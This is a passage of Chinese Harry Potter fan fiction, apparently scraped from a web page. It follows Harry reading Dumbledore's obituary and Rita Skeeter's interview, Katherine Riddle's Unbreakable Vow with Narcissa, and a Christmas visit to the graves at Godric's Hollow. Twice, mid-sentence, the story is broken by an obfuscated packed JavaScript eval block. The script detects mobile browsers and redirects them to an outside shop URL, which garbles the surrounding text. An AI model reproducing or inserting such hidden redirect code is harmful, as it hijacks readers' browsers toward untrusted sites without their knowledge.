在那段日子里我们很少联系,我写信给阿不思,可能是无意识地,描绘起了我在旅行中看到的奇景和故事,从在希腊勉强逃离吐火兽的事,到埃及那些炼金术士们的实验。他给我的信则几乎不提他那日复一日的生活,我想这种生活这对一个那么有才气的巫师来说一定是十分地挫败和无趣。当我还沉浸在我的旅行中时,我很悲痛地听说另一桩惨剧降临到邓布利多的头上:他的妹妹阿莉安娜去世了。 虽然阿莉安娜的身体虚弱已经有很长一段时间了,但这在失去母亲不久后的又一个打击,对他们兄弟俩影响仍然非常大。所有这些阿不思的不幸的私事――再加上我自己所碰上的幸运事――使得邓布利多觉得他对阿莉安娜的死负有责任,它们给邓布利多刻下了不可磨灭的痕迹。由此我可以相信,杀人凶手正是利用了这为善良的人的同情心,才做出了这样天理难容的事情。 一个年轻人已经历了一个年长者所能遭遇的苦痛……阿不思比从前多了一分保守,少了些无忧无虑。像是老天为了增加他的痛苦,失去阿莉安娜让他和弟弟阿不福思的关系更加疏远了(当然这被及时挽救了――在后来的几年中他们恢复了部分友谊——仅仅是坦承以待而已)不管怎样,从那时起,他就不再谈起他的双亲和阿莉安娜,他的朋友们也不会再提及。 仿佛从前的这些痛苦只是为了反衬他在接下来几年里取得的成功……许多人说,现在仍然没有哪次巫师决斗能够与1945年邓布利多与格林沃德之间的这一场相媲美,所有目击者都写下了他们在观看这两位杰出的巫师的搏斗时所感到的恐惧与敬畏。 邓布利多的成功,以及这些成功在巫师界的重要地位都被记录在了魔法史上,被认为是与《国际保密条令》的传入和那个连名字都不能提的黑魔头的垮台并列的转折点。 …… 哈利读完了,但是他依然盯着讣告旁的那张照片:邓布利多带着他熟悉的,慈祥的微笑,但是他那炯炯有神的目光,透过他那双半月型的眼镜,就算是在报纸上也能给波特以强烈的印象,就仿佛是x光一般,哈利的悲伤中混合着一种羞耻感。 他以为他很了解邓布利多,然而在他读了这篇讣告后,他才不得不意识到,他从来都没有了解过他,他每次一想到邓布利多,就跳出自己所认识的那个庄严、年老的,有着银色头发的人。 他从没想过要去询问邓布利多的过去,毫无疑问那会很奇怪,甚至很鲁莽。而且毕竟邓布利多与格林德沃的那场传奇性的决斗已经变成了普及的知识,哈利也没有想过去问问邓布利多那是一场怎样的决斗,更不用说他的那些其它成就了。 什么也没有。 他们只是一直在谈论哈利,哈利的过去,哈利的未来,哈利的计划……似乎对于现在的哈利来说,尽管他的未来充满着危险和变化,他都已经错过了那些无可代替的机会,去问问那些有关邓不利多自己的事。 他以前甚至从未想过邓布利多和伏地魔一样有一个从来没对外说过的妹妹,阿莉安娜·邓布利多,也从未想过她和凯瑟琳·里德尔的联系。 一个他没有问凯瑟琳,也没有问邓布利多的问题,一个他早就想问为什么邓布利多的问题,为什么他发现凯瑟琳是一个潜在的默然者却依旧选择放她进入学校——却没想到这只不过是邓布利多为了自己愧对自己的妹妹而做出的补偿…… 原来,一切都有迹可循,原来,一切在冥冥之中就被安排了下来。 哈利将讣告收了起来,穿过房间,移开今天的《预言家日报》,发现没什么关于伏地魔的消息后,就把它扔到了一边。哈利确定魔法部一定会禁止《预言家日报》刊登有关伏地魔的新闻。但是现在,他突然看到了他因此而错过的东西。 在第一版的底部中间有一条小消息,配有邓布利多照片,好像是匆忙间被发布出来的: 【邓布利多――最后的真相?】 上个星期以来,作为他这一代中最伟大的巫师,有关这个有缺陷的天才人物的令人震惊的故事被许多人所看重。揭开受人欢迎的表象,这个长着银胡子的贤者,丽塔·斯基特为展示他混乱不堪的童年时代、目无法纪的青年时代、一生中长期的家族斗争,还有邓布利多那带进了坟墓的秘密:为什么这个男人轻易放弃成为魔法部长的机会,而仅仅满足于做一个校长呢?什么是那个被称为凤凰社的神秘组织的真正目的呢?邓布利多是怎么面对他的死亡的呢? 还有许许多多诸如此类的其他问题已经在丽塔·斯基特最新的爆炸性的人物传记――《阿不思-邓布利多的生活与谎言》中得到探究,详见第十三版,贝瑞·布理斯怀特的专访。 哈利撕开报纸找到第十三版。在这篇文章的顶部,是另一张哈利熟悉的脸:一个带着镶宝石眼镜的女人,卷曲的金色头发经过精心打理,露出牙齿无疑是展示一个胜利的微 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“哦,阿不福思那事只是那一大堆丑闻中的末梢而已,”斯基特笑着说,“不,不,我说的是关于比一个虚度光阴的弟弟,甚至比他那个残害麻瓜的爸爸要严重的多的事――尽管邓布利多无论如何都不能使他俩中的任何一个冷静下来,他们两个都被威森加摩控诉过。不!引起我兴趣的是他的母亲和妹妹,挖掘出来一点儿被掩盖得很好的丑事――不过,正如我所说的,你们将不得不等到第九到第十二章时才能知道所有细节。我现在只能告诉你们,毫无疑问邓不利多从来不向别人谈起他那断了的鼻子的故事。” …… 我问她是否指的是他与格林德沃1945年决战的内幕。 “哦,我很高兴你现在谈到了格林德沃,”斯基特带着一种浅浅的微笑说,“恐怕那些天真地相信邓布利多的那次重大胜利的人们肯定会像是中了一颗炸弹――也许不如说是中了一个粪弹。确实是非常下流的手段。我想说的是,不要对传说中那场壮观的决斗那么确信。当读过我的书后,人们也许会被迫承认格林德沃只是从魔杖末端变出了一块白手帕,然后一切都结束了!” 斯基特拒绝透露更多有关这个阴谋事件的内幕,我们只好转向了那些最让她的读者着迷的人际关系方面的内容。 “哦,是的,”斯基特说道,兴致勃勃地点着头,“我所知道的都写在书里了,关于邓布利多,一切需要大家来决定――等他们看过我的书之后。” …… 哈利看完了全篇文章,却仍然无神地盯着报纸。像是要呕吐似的,强烈的厌恶与愤怒从他体内燃起,他把报纸揉成一团丢了出去,用力砸在了墙角,和那些已经满出垃圾桶的垃圾作伴去了。 “撒谎!”哈利吼道。他不相信邓布利多会有什么谎言。他一直是那样一位令人尊敬的长者。而凯瑟琳,她就是一条擅长玩弄人感情的毒蛇——他怎么能指望杀人狂魔的妹妹能是个好人? 哈利回想起过去邓布利多不愿意和他谈起凯瑟琳的时候,还有海格坚持认为凯瑟琳和她哥哥是不一样的人的时候,还有后来邓布利多坚持信任凯瑟琳的时候。他只觉得讽刺。更令他恼怒的是为自己:伏地魔复活后,邓布利多亲自为他授课,和他讲述了伏地魔兄妹过去的故事,又让斯内普教他大脑封闭术,然而,事情发生的太快了……哈利觉得自己还没能知道应该如何战胜伏地魔,也不认为自己已经学会了大脑封闭术。 说到大脑封闭术——他脑海中的那个凯瑟琳已经很久没有出现过了,大概就是在摧毁皇冠的那个晚上,她再次陷入了沉睡。他知道她还在那里,但是她不会再和他聊天,自然,也不可能解答他心中的疑惑。 哈利把额头贴在阁楼的小窗户上,望向窗外安静的草地。还有太多事他还没有弄明白,就像韦斯莱夫人认为他还是个孩子那样,他认为自己还很需要邓布利多的指引。还有凯瑟琳……并非他为自己的判断失误找借口,他着实认为她做的事情匪夷所思,甚至他认为那不是她自愿的——但事实上就是她杀死了邓布利多……他们的校长,他最敬爱的人。 85.chapter83 时间倒回半年前。 在凯瑟琳答应杀死邓布利多的请求后,他们在暑假快结束时又见了一面。邓布利多和凯瑟琳说起他的过去和他的家庭,然后又聊起死亡圣器——凯瑟琳说她能看见她的哥哥正在寻找老魔杖。 老魔杖究竟属于谁?或许老魔杖从来只有一个主人,又或许它只诚服于打败上一任主人的人。但是任何得到魔杖的人都能使用出最强大的魔法。 复活石属于谁?或许任何人都可以使用复活石,但是没有人能够真正复活死者。 隐身衣属于谁?它看似被佩弗利尔三弟代代相传,但实际上它在服务任何一个“真正需要它”的人的时候能发挥最强的效果。 “我曾今尝试过集齐这三样东西,就在伏地魔决定去杀死哈利之前。当然,那时我还没有找到复活石。但在那之后,我想我找到了更适合这三样圣器的主人。”邓布利多用温和的蓝眼睛看着凯瑟琳,凯瑟琳只觉得满嘴都是苦涩。 紧接着没多久,她在布莱克祖宅里见到了纳西莎·马尔福。 纳西莎脱掉斗篷扔到一边,坐了下来,她白得惊人,金色的头发披在肩头,眼睛盯着自己那双交叉在膝盖上的苍白颤抖的手。 “姐姐,你来找我什么事?”雷古勒斯坐在另外一边。 “这里……这里没有别人吧?”纳西莎轻声问。 “没有。”雷古勒斯看了一眼楼上,然后补了一句,“西里斯在凤凰社。” 纳西莎似乎是终于放下心来,颤抖着深深吸了口气,又开始说了起来。 “雷尔,我知道我不该来这儿,我被告知,对什么人也不能说的,可是――我――我想,也只有你能够帮助我了,我现在是走投无路了。卢修斯被黑魔王给予了另外一个任务……” 她闭上眼睛,两颗大大的泪珠从眼皮下渗了出来。 “黑魔王不允许我向其他人私下讨论这件事”纳西莎继续说,眼睛仍然闭着,“他不希望任何人破坏这个安排,可是――” “既然他不许讨论,我们就不能讨论。”雷古勒斯轻声说道,“姐姐,黑魔王的话就是法律。” 纳西莎倒抽了一口冷气,好像被他兜头浇了一瓢冷水。 这时,楼梯传来走动的声音,纳西莎看到一个有着乌黑长发的女子走上楼来,而雷古勒斯立刻站起身,大步走到客厅的落地窗前,透过天鹅绒窗帘朝静谧的街道上望了望,然后谨慎地拉上了窗帘。他转过身面对着他姐姐和那个女子,眉头皱了起来。 “凯瑟琳。你来做什么?” “来听听你们姐弟在聊什么。”凯瑟琳面无表情地说,“没关系,纳西莎,你可以和我讨论,因为我不是食死徒。” “你就是……”纳西莎的定定地看着凯瑟琳,但是她的呼吸自如多了。 她当然确信如果凯瑟琳愿意帮她说服黑魔王改变主意,那希望绝对比她弟弟更大,但是黑魔王正因为她过去的那些事而生气,并且正在四处寻找她。 “我会把她交给黑魔王。”雷古勒斯说道,“姐姐,如果想要救德拉科,我想你不会和我抢这些对吧?” “当……当然不会。”但纳西莎的目光没有离开凯瑟琳。 “所以,汤姆想要让德拉科杀死邓布利多?”凯瑟琳在纳西莎旁边坐下,纳西莎在听到黑魔王过去的那个名字时身形一颤。 “没错。”她嗫嚅着说道。“能不能求你,说服他改变主意……” “我不会去见他。”凯瑟琳说道,“而且,就算是站在平等的立场上,我们从小时候开始就谁也说不服不了谁。他已经决定的事情,不会被收回。” “不!”纳西莎说,眼泪顺着她苍白的面颊滚落下来,“我的儿子……我唯一的儿子……” “德拉科应该感到骄傲,”雷古勒斯若无其事地说,“黑魔王给了他极高的荣誉。而且德拉科面对责任没有退缩。” 纳西莎伤心地哭了起来,乞求地盯着凯瑟琳。 “凯瑟琳!求求你!他才十五岁,根本不知道等待他的是什么!为什么,雷尔?你怎么能这么冷酷无情?这也是你侄子!” “如果德拉科成功了,”雷古勒斯说,但是眼睛一直盯着地面,“他就能获得比其他所有人更高的荣誉。” “可是他不会成功的!”纳西莎哭着说,“他怎么可能呢,就连黑魔王自己――” 纳西莎看了凯瑟琳一眼。 “我的意思是……既然没有一个人成功过……雷尔,凯瑟琳……求求你们……” 雷古勒斯把头扭开了。 她瘫倒在地板上,抽泣着,揪着自己金色的长发。 “我唯一的儿子……我唯一的儿子啊……” 凯瑟琳终于弯下腰,抓住她的手臂把她扶了起来,让她重新在沙发上坐好。然后给她倒了一些布莱克上好的红酒,把杯子硬塞进她的手里。 “听我说,纳西莎。虽然我不能说服他,但也许我能……帮助德拉科。” 纳西莎听到凯瑟琳说话,终于握住了她递来的酒杯,像是抓住了救命稻草。她腾地坐直了身子,脸白得像纸一样,眼睛睁得滚圆。 “凯瑟琳――哦,凯瑟琳――你愿意帮助他?也对,你马上会去霍格沃茨——哦不。”她看了一眼一旁的雷古勒斯,但是雷古勒斯却微微点了点头。 “我会帮他完成黑魔王交给他的任务。”凯瑟琳说。 纳西莎又从沙发上出溜下去,跪在凯瑟琳的脚边,用两只手抓着她的手,把嘴唇贴了上去。 “如果你会在那里保护他……凯瑟琳,你能保证吗?你能立一个牢不可破的誓言吗?” 她乌黑的眼睛紧紧盯着纳西莎那双沾满泪水的蓝眼睛,而她继续攥着她的手。 “当然,纳西莎,我可以立一个牢不可破的誓言,”她轻声说,在雷古勒斯惊诧的目光中,凯瑟琳也跪在纳西莎对面。 “我会在学校里暗中帮助他。也会帮他完成任务。只是你也得向我保证,不会向汤姆透露我的行踪。” “我答应你。”纳西莎飘忽的眼神变得坚定起来,然后她们互相握住了对方的右手。 雷古勒斯和凯瑟琳交换了一个眼神,然后他走上前,站在两人身边,把魔杖头点在她们相握的两只手上。 纳西莎说话了。 “凯瑟琳,在我儿子德拉科试图完成黑魔王的意愿时,你愿意照看他吗?” “我愿意。”凯瑟琳说。 一道细细的、耀眼的火舌从魔杖里喷了出来,就像一根又红又热的金属丝,缠绕在她们相握的两只手上。 “你愿意尽你最大的能力,保护他不受伤害吗?” “我愿意。”凯瑟琳说。 第二道火舌从魔杖里喷了出来,与第一道缠绕在一起,构成一根细细的、闪着红光的链条。 “还有,如果必要的话……如果德拉科眼看就要失败……”纳西莎低声说,“你愿意把黑魔王吩咐德拉科完成的事情进行到底吗?” “我愿意。”凯瑟琳依旧平静地说,就好像是在做一件稀松平常的事情。 雷古勒斯苍白的脸被第三道火舌的光映得通红,火舌从魔杖里喷出,与前面那两道交织在一起,紧密地缠绕在她们相握的两只手周围,像一根绳索,像一条喷火的蛇。 纳西莎看向凯瑟琳,她等着她会提出那个要求,但是她没有。 “我不需要这种承诺。”凯瑟琳从地上站了起来,淡淡地说,“因为即使你告诉他,他也不会对我怎么样的。” * 凯瑟琳一直暗中保护着德拉科,但又小心地按照邓布利多的希望,换掉了他准备害人的蛋白石项链。 紧接着,她跟着哈利拿到了拉文克劳的冠冕——她哥哥的第五个魂器。 当哈利和德拉科三人争执的时候,她偷偷离开了几人的视线。她对自己施展了幻身咒,穿过一排排杂乱的架子,绕过还在继续寻找王冠的赫敏和罗恩,然后来到了这个华丽宫殿中最里面的厄里斯魔镜处。 她将王冠戴在了头上。 镜中并没有出现最深的渴望,而是黑发女子将古老的王冠戴在了头上。 她看着镜中的自己。 戴上王冠将获得无上的智慧,而智者能帮助她看清了本我。 她还记得,这个藏在阿尔巴尼亚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368251|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 森林的王冠,是哥哥原本打算送给她的生日礼物。一眨眼,1945年到1995年,五十年过去了,马上又是她的生日。 这时,她猛地回过头,魔鬼火焰呼啸着朝她和厄里斯魔镜的方向袭来。 她飞快地明白过来,并做出了决定。 她挥动紫杉木魔杖,念着复杂的魔咒——那是哥哥附身她时她学到的咒语,魔鬼火焰像是明白了一样绕开了她,又像是听懂她的命令一样跳到了王冠上。 很快一种深色柏油样,像血的东西从王冠上渗出来。凯瑟琳感受到王冠像是有生命了一样颤动着,在她的手中裂开了,她听到了一种模糊而遥远的由于痛苦而发出的叫声,不是在远处打斗的哈利和德拉科几人,而是来自她手中刚刚变成碎片的东西——她哥哥灵魂的叫声。 大脑混沌了起来,表明她即将收集到这片灵魂。她用尽最后的意识,将王冠藏进了厄里斯魔镜,然后放心地倒入温暖的火海中。 她知道,火焰不会伤害她,哈利已经带着马尔福离开。而用不了多久,她就会醒来,然后在夜晚协助德拉科完成另外一项艰巨的责任。 * 1995年圣诞节。 马尔福华丽庄园最高层的一个房间里,凯瑟琳坐在靠窗的椅子上,她的腿被伏地魔施了黑魔法以防止她逃跑。 一张十分大的有着鹰钩鼻,黑头发的男人的照片注视着他们,在下面有一行头条写着: 【西弗勒斯·斯内普任命为霍格沃茨校长】 “西弗雷斯·斯内普,长期担任霍格沃茨魔法学校的魔药学教师,在圣诞节假期前,在这古老学校的最重要的一次□□调动时,被任命为校长。 此外,由于前麻瓜研究老师的辞职,阿列克托·加罗将接管这个职位;来自魔法部的高级调查官多洛雷斯·乌姆里奇将继续担任黑魔法防御术教授……” 正当她打算继续往下读的时候,门开了,雷古勒斯从外面走了进来。 看到凯瑟琳正在读斯内普就职的新闻,他没有立刻打扰,而是摘下食死徒面具等凯瑟琳把报纸放下。 “恭喜你,新任魔法部部长。”凯瑟琳放下报纸,扭过头看着雷古勒斯,嘴角扯出一抹苦笑。后者则是仅仅攥着魔杖盯着她被黑魔法拴住的脚踝。 “计划正常进行,斯内普被安插为校长起码能够保护霍格沃茨的学生,食死徒的事他就不能参与了。” 凯瑟琳赞同地点了点头。“有新消息吗?” “正是来说这个。哈利在比尔·韦斯莱和芙蓉·德拉库尔的婚礼上逃跑了,我哥哥把他藏在了布莱克老宅,但那里已经不安全了,斯内普泄露了凤凰社原本的位置,所以现在他又离开了。黑魔王通过入侵他的大脑得知他和他的朋友计划去戈德里克山谷,然后他打算在那边杀了他。” “原来我看到的地方是戈德里克山谷......”凯瑟琳喃喃地说道,很显然她在听到这个名词的时候警惕了起来,晃动了一下她的腿。“不过哈利去那边干什么?” “不知道,但黑魔王已经动身了。” “是啊,我知道。我也得动身了。”凯瑟琳叹了一口气,然后说道,“就是在等你来,帮我解开这个锁链——雷尔,这个需要魔杖才行。” 雷古勒斯蹲下来,端详着冒着黑气的魔法锁链,锁链紧紧捆住她的脚踝,将她的活动范围限制在了房间里。 “怎么做?”他皱着眉问。 “其实很简单。”凯瑟琳说着,从口袋里拿出一个卡片递给雷古勒斯,“他把我的魔杖带走了,所以只能用你的魔杖。现在,取我的血,滴在锁上面,然后再念这个纸片上的咒语,锁就会自动溶解。” 雷古勒斯接过卡片,然后按照凯瑟琳所说在她的掌心划开一道口子。等他念完咒语,锁链果然慢慢消失了。 “你早就知道怎么解开了?”雷古勒斯有些惊讶地问。 “倒也不能这么说。”凯瑟琳从椅子上站了起来,习惯性地检查了一下藏在衣服里的挂坠盒,确保它被藏的很好。 “主要还是因为我们是血亲——外加,他在附身我的时候教会了我很多额外的知识。” 86.chapter84 西里斯是不赞成哈利去戈德里克山谷的——如果他知道哈利有这个计划的话。事情是源于哈利三人和福洛林先生的对话,福洛林认为最好的知道邓布利多的过去的方法,就是去戈德里克山谷找他曾经的老师——巴希达·巴沙特女士。她不仅是历史学家,还是魔法史课本的编写者。 尽管哈利现在才五年级,他们在有求必应屋DA训练的时候就已经学会了幻影移形,毕竟有求必应屋会给他们提供合适的场地,而罗恩因为没有熟悉幻影移形而伤了胳膊,被福洛林带回了陋居。 * 与此同时,圣诞节,戈德里克山谷。 “我能确定,”赫敏说。她的视线越过教堂,“他们……他们会在那里,不是吗?你的妈妈和爸爸?我能看到教堂后面的墓地。” 哈利一阵颤栗,感觉超越了兴奋,更像是恐惧。现在已是如此接近,他怀疑自己究竟是不是真的想看到。也许赫敏能够理解他的感受,因为她正牵起他的手,拉着他前进,这还是第一次。然而经过广场时,她突然停住了。 “哈利,看!” 赫敏指着那块战争纪念碑。当他们经过时,纪念碑消失了,原来刻满人名的方尖石塔被一组三人雕像所代替:一个男人,头发乱蓬蓬的,带着眼镜;一个长发女人,友好和蔼,美丽优雅;还有一个男婴,坐在她的怀中。他们头上盖满了雪花,像是戴了白色的绒帽。 哈利靠的更近些,凝视着父母的脸。他从来没有想象过这里会有一组雕像……看到自己石质的面容是多么奇怪的一件事——一个额头上没有疤痕的快乐的婴儿。 “走吧,”当他觉得已经得到满足时,哈利说道,然后他们继续走向教堂。当他们穿过大路时,他回头看了看,那组雕像又一次变成了战争纪念碑。 随着他们接近教堂,歌声更加响亮。哈利的喉咙发紧,这歌声让他越发想念霍格沃茨,想念躲在盔甲里皮皮鬼唱的粗鲁的颂歌,想念礼堂里的十二棵圣诞树,想念戴着从彩包爆竹得来的秃鹫女帽的邓布利多,想念穿着手织毛衣的罗恩…… 墓地入口处有一个窄门。赫敏尽可能轻地推开它,然后他们侧身穿了过去。两旁通往教堂大门的小路上积雪厚实,从没有人踏上去过。他们穿过雪地,绕着房屋走着,躲在明亮窗户下的阴影里,一路留下深深的脚印。 教堂后面,是一排又一排覆雪的墓碑,透过彩色玻璃,红色金色绿色的光斑打在淡蓝色的雪地上,哈利抓紧上衣口袋里的魔杖,走向一座坟墓。 “看这里,是艾博家族的,可能与汉娜家有什么长远的联系!” “拜托你小点声。”赫敏低声乞求道。 他们逐渐向墓地深处跋涉,身后留下深暗的足迹,时而停下来看看墓碑上的文字,并不时从眼角瞟一眼周围黑暗的景物,确保没有人跟踪。 他们时不时地会找到一些认识的姓氏,比如艾博,曾在霍格沃茨见到过。有时墓园里会同时出现几代巫师家族人员的名字:哈利可以通过日期来辨别这个家族是否已经灭绝,或者当前成员是否已经从戈德里克山谷移居到其他地方。他们还看到了如丽塔·斯基特所说的那样,部分邓布利多家族的成员也被埋葬在这里。 他们走的越来越远,并且每次他到达一块新墓石时,哈利总会感到一点忧惧和期盼。 “这里!”片刻后赫敏再一次在黑暗中尖叫起来。“噢,不,对不起。我以为它指的是波特。” 她在一块长满苔藓的破碎的墓碑上擦拭着,皱着眉头低头研究了一会儿。 “哈利,再回来一下。” 哈利不愿再被牵着鼻子走了,但还是勉强穿过雪地向她走去。 “什么东西?” “哈利,你看这是谁?可是怎么会——”” 这块墓碑在众多墓碑中不算很古老,近几十年都未有人来打扫过,风化得名字有些模糊不清,而且,似乎在某个时间被人为地打碎了。 “凯瑟琳·里德尔!?”待哈利看清上面的字时,他也不由得倒抽了一口气。“怎么会?谁为她立的碑? 尽管现在一想起凯瑟琳依旧让哈利觉得难受,但是他还是不由自主地凑近了墓碑——墓碑太破旧了,旧到让人难以认清那里曾经刻了些什么,他勉强认出了凯瑟琳的名字,还有一句墓志铭—— 【战胜默默然的无名英雄,战胜黑魔王的无名英雄,将永远被我铭记】 “这里的‘我’会是谁呢?”哈利喃喃道,“邓布利多和我讲过她的过去,肯定不是伏地魔,难道是海格?如果不是他,还会是谁呢?” “这个墓碑下面肯定是空的。”赫敏说,“因为凯瑟琳很早以前就被雷古勒斯复活了——难道是雷古勒斯?不对,那时候距离他出生都还有十几年……” 两人在这个不起眼的、长满青苔且破碎的墓碑前站了一会儿。直到哈利像是要克服什么复杂的情绪,艰难地提出“我要去找我的父母了,好吧?” 然后他再一次出发,留下赫敏一个人蹲在凯瑟琳的旧墓碑旁。 黑暗和寂静似乎是突然之间降临的。哈利担心的向四周看看,怀疑是摄魂怪的侵袭。然后意识到圣诞颂歌已经结束,喋喋不休的谈话者与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377410|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做礼拜者正渐渐远去,教堂里刚刚熄灭了灯火。 接着赫敏的声音再次从黑暗中传来,在几码外尖利而清晰。 “哈利,他们在这儿……就在这儿。” 哈利从她的音调里判断出这一次是他的父母:他再次向她走去,觉得有什么沉重的东西正在挤压着他的胸膛,就像邓布利多刚死去时一样,悲痛真实地重压在心肺上。 这块墓碑仅在坎德拉和阿莉安娜的墓碑两排之后,由白色大理石制成,如同邓布利多的坟墓,这使得墓碑更容易看得清楚,而且它似乎在黑暗中闪闪发亮。 詹姆·波特 生于1960.03.27 卒于1981.10.31 莉莉·波特 生于1960.01.30 死于1981.10.31 【最后将要被击败的敌人就是死亡】 哈利缓慢的读着,好像他只有一次机会理解这些词的意思。然后他大声读出了最后一句话。 “最后将要被击败的敌人就是死亡……”一个可怕的念头突然闪过脑海,带着一丝惊恐,“这会不会是一个食死徒的主意?为什么它们在这儿?” “这并不是食死徒所谓的战胜死亡,哈利。”赫敏温和的说道。 “它的意思是……你知道……生命是可以超越死亡的。有的人,虽死犹生。” 但是他们已经失去了生命,哈利想。只有他们的儿子依旧活着,躲在隐形衣下面,逃避着命定的死亡……他宁愿和父母一起被葬在大雪之中。 正想着,他的视线落在了几乎被大雪掩埋的墓碑上。 “赫敏,你看到了吗?似乎前不久刚有人来过。”他小声对赫敏说道。 赫敏凑了过来,然后她也发现了放在墓碑上的百合。 “我还以为没有人会来这个……这个……”哈利的声音有些颤抖,他环顾四周,大口大口地吞咽着夜晚的空气,试图镇定下来,控制住自己的情绪。墓园里的所有植物都凋零冻僵了,只有已经被鹅毛大雪覆盖的百合表示这里曾有人记得。 赫敏抽出了魔杖,在空气里划了一个圈,然后一圈圣诞玫瑰在他们面前开放。哈利拿住它,放在父母的坟上。 他们又站了一会儿,然后一旦站起来,哈利就想离开了:他不认为自己能在那里继续站下去。他把手臂放在赫敏肩头,赫敏搂住他的腰,然后他们一起安静的转身,走过雪地,走过邓布利多的母亲和妹妹的坟墓,走过那块被打碎的凯瑟琳的坟墓,返回黑暗的教堂和那扇已经看不见了的窄门。 87.chapter85 当哈利和赫敏站在他和父母原本居住的房子前谈论这那块纪念碑时,他突然顿住了:一个穿得很厚重的人慢慢地从小街向他们走来,远处广场上明亮的灯光让人看不清他那黑黑的轮廓。尽管很困难,但哈利看出那是个女人。 她走得很慢,或许是怕在雪上滑到。她那佝偻的背,坚毅的样子,她拖着脚走路的疲态,让人感觉到她年纪非常老。他们沉默着看她走近。哈利想看看她是否会走进某间房屋,但是他心里很清楚地知道她不会走进任何一间房子。终于,她在他们前面几米处停下,站在冰冻的马路中间,看着他们。 他不需要赫敏掐他的手臂也能明白过来,这个女人不可能是麻瓜。她正站在那里看着一所麻瓜根本看不见的房子。而且,有一点更确认了她是个女巫,因为在这样一个寒冷的夜晚出来,仅仅为了看一幢古老的、已成为废墟的房子,这实在是太古怪了。而且,按照魔法规则,她应该看不见赫敏和哈利。然而哈利有种特别奇怪的感觉,他觉得她知道他们在那里,也知道他们是谁。正当哈利得出了这个令人不安的结论时,那个女人举起了一只带手套的手,打了个手势。 赫敏在隐形衣下向哈利靠近了一些,她紧握住哈利的手臂:“她是怎么知道的?” 他摇了摇头。那个女人又更加用力地挥着手。哈利可以想到一大堆不理会她的理由,他和她在这样的无人街道上对视,对她身份的怀疑也随着时间一分一秒地增长。 她会不会在这长长的几个月里一直在等待他们?她知道哈利一定会来?还是福洛林和她建立过联系?她是不是在暗处从墓地一直跟踪他们到了这里?她看的到他们,哈利觉得有什么地方很怪异,但说不上来。 最后哈利突然说话了,把赫敏吓了一跳。 “你是巴希达吗?” 这个穿着厚重的人点了一下头,又挥了挥手。 哈利和赫敏在隐形衣下对视了一眼,哈利扬起眉毛,赫敏紧张地微微点了点头。 他们朝那个女人走去,她马上蹒跚地沿着来的路往回走,带领他们走过几幢房屋,进入了一扇大门。他们跟着她顺着前面的小路,穿过一个和刚才的废墟差不多的枝枝蔓蔓的花园。她站在门前摸索了一会,掏出房门钥匙,开了门,向旁边退了一步让他们进去。 哈利在经过巴希达身边时脱下了隐形衣。他站到她的旁边时才知道她是多么的矮小。由于年老驼背,她几乎只到哈利胸膛那么高。她关上身后的门,她的指节是蓝色的,皮肤上斑斑点点,像是剥落的油漆,然后她眯起眼睛看着哈利的脸。 那双眼睛由于白内障而十分混浊,深深地陷入了满是皱纹的几乎透明的皮肤里,她的整张脸都透出了皮肤下面的静脉和黄褐色的老年斑。哈利怀疑她根本认不出自己;即使她能,看到的也是哈利伪装成的那个秃头的麻瓜。 她把虫蛀的披肩解下来,露出了白发稀疏的头顶,腐烂发霉的味道和房子里灰尘的气味变得更明显了。 “巴希达?”哈利再次问道。 她又点了点头,拖着脚步穿过他们俩,像是没看到赫敏似的把她推到一边,走进一间貌似起居室的房间里去了。 “哈利,我不太确定现在的状况是怎样。”赫敏轻声说着。 “看她那副样子,万一有什么事情,我想我们也可以击败她。”哈利说着。 “她不该是这个样子的,福林特说她很热情……”。 “过来!”巴希达在隔壁的房间里喊道。 赫敏跳了起来,一把抓住哈利的胳膊。 “没事的,”哈利安慰她,他带着她走进起居室。 巴希达在烛光闪烁的房间里蹒跚着,光线依旧很暗,屋子里灰尘遍布。19世纪的木质地板在被踩上时嘎嘎作响,潮湿发霉的气味充斥了整个房间。 床上的床单是碎花的,倒是能看出来是一个女人的房间。然而它的主人此刻乎已经忘记她也能够施展魔法——她用手笨拙的点着蜡烛,袖口的带子随时会被不小心点着。 “让我来吧。”哈利说道,然后他从她手中取下火柴。巴希达看着哈利点燃了放置在房间各个浅盘里的蜡烛根儿,这些蜡烛放在摇摇晃晃的放在成堆的书上和一个摆满了破碎发霉的杯子的桌子的边上。 在哈利点到最后一根蜡烛的时候,他看到那根蜡烛处在一个弧形表面的盒子上面,里面存有许多照片。当烛光闪烁的时候,它的光芒摇曳的照在那些落灰的玻璃和银器上。哈利看到了那些照片里面的场景在晃动。在巴希达借着火光摸索前进的时候,哈利小声念了一句“旋风扫净!”那些照片上的灰尘立刻消失了。 他看到了其中六个最大最华丽的框架中的照片已经不在了,不知道是巴希达还是别的什么人拿走了它们。这堆照片的最底下的一张吸引了哈利的目光,他拿起来看了看: 是那个当初坐在格里戈维奇的窗台上,金色头发,神态愉悦的小偷,他从银质的框架里懒洋洋的看着哈利,哈利立刻想起曾经见过这个男孩——在丽塔的《阿不思·邓不利多的一生与谎言》那本书中夹着的照片上!他就是那个与邓不利多挽着手的年轻人! “巴沙特……夫人……小姐?”他说,他的声音轻微的颤抖,“这是谁?” 巴希达正站在房间的中间看着赫敏为她点燃火把。 